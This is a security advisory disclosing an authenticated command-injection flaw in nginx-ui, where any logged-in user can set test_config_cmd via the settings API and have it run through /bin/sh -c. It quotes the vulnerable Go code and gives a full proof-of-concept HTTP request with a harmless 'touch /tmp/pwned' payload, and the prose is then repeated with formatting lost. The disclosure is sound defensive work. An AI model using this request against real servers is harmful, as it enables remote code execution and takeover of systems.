Summary
The Home > Preference page exposes a small list of nginx settings such as Nginx Access Log Path and Nginx Error Log Path. However, the API also exposes test_config_cmd, reload_cmd and restart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.
func InitPrivateRouter(r *gin.RouterGroup) {
r.GET("settings", GetSettings)
r.POST("settings", SaveSettings)
...
}The SaveSettings function is used to save the settings. It is protected by the authRequired middleware, which requires a valid JWT token or a X-Node-Secret which must equal the Node Secret configuration value. However, given the lack of authorization roles, any authenticated user can modify the settings.
The SaveSettings function is defined as follows:
func SaveSettings(c *gin.Context) {
var json struct {
...
Nginx settings.Nginx `json:"nginx"`
...
}
...
settings.NginxSettings = json.Nginx
...
err := settings.Save()
...
}The test_config_cmd setting is stored as settings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses the TestConf function:
func TestConf() (out string) {
if settings.NginxSettings.TestConfigCmd != "" {
out = execShell(settings.NginxSettings.TestConfigCmd)
return
}
out = execCommand("nginx", "-t")
return
}The execShell function is defined as follows:
func execShell(cmd string) (out string) {
bytes, err := exec.Command("/bin/sh", "-c", cmd).CombinedOutput()
out = string(bytes)
if err != nil {
out += " " + err.Error()
}
return
}Where the cmd argument is user-controlled and is passed to /bin/sh -c.
This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept
Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.
- Login as a newly created user.
- Send the following request to modify the settings with
"test_config_cmd":"touch /tmp/pwned".
POST /api/settings HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 528
Authorization: <<JWT TOKEN>
Content-Type: application/json
{"nginx":{"access_log_path":"","error_log_path":"","config_dir":"","pid_path":"","test_config_cmd":"touch /tmp/pwned","reload_cmd":"","restart_cmd":""},"openai":{"base_url":"","token":"","proxy":"","model":""},"server":{"http_host":"0.0.0.0","http_port":"9000","run_mode":"debug","jwt_secret":"foo","node_secret":"foo","http_challenge_port":"9180","email":"foo","database":"foo","start_cmd":"","ca_dir":"","demo":false,"page_size":10,"github_proxy":""}}
- Add a new site in
Home > Manage Sites > Add Site with random data. The previously-modified test_config_cmd setting will be used when the application tries to test the nginx configuration.
- Verify that
/tmp/pwned exists.
$ docker exec -it $(docker ps -q) ls -al /tmp
-rw-r--r-- 1 root root 0 Dec 14 21:10 pwned
Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
References
Summary
The
Home > Preferencepage exposes a small list of nginx settings such asNginx Access Log PathandNginx Error Log Path. However, the API also exposestest_config_cmd,reload_cmdandrestart_cmd. While the UI doesn't allow users to modify any of these settings, it is possible to do so by sending a request to the API.The
SaveSettingsfunction is used to save the settings. It is protected by theauthRequiredmiddleware, which requires a valid JWT token or aX-Node-Secretwhich must equal theNode Secretconfiguration value. However, given the lack of authorization roles, any authenticated user can modify the settings.The
SaveSettingsfunction is defined as follows:The
test_config_cmdsetting is stored assettings.NginxSettings.TestConfigCmd. When the application wants to test the nginx configuration, it uses theTestConffunction:The
execShellfunction is defined as follows:Where the
cmdargument is user-controlled and is passed to/bin/sh -c.This issue was found using CodeQL for Go: Command built from user-controlled sources.
Proof of Concept
"test_config_cmd":"touch /tmp/pwned".Home > Manage Sites > Add Sitewith random data. The previously-modifiedtest_config_cmdsetting will be used when the application tries to test the nginx configuration./tmp/pwnedexists.Impact
This issue may lead to authenticated Remote Code Execution, Privilege Escalation, and Information Disclosure.
References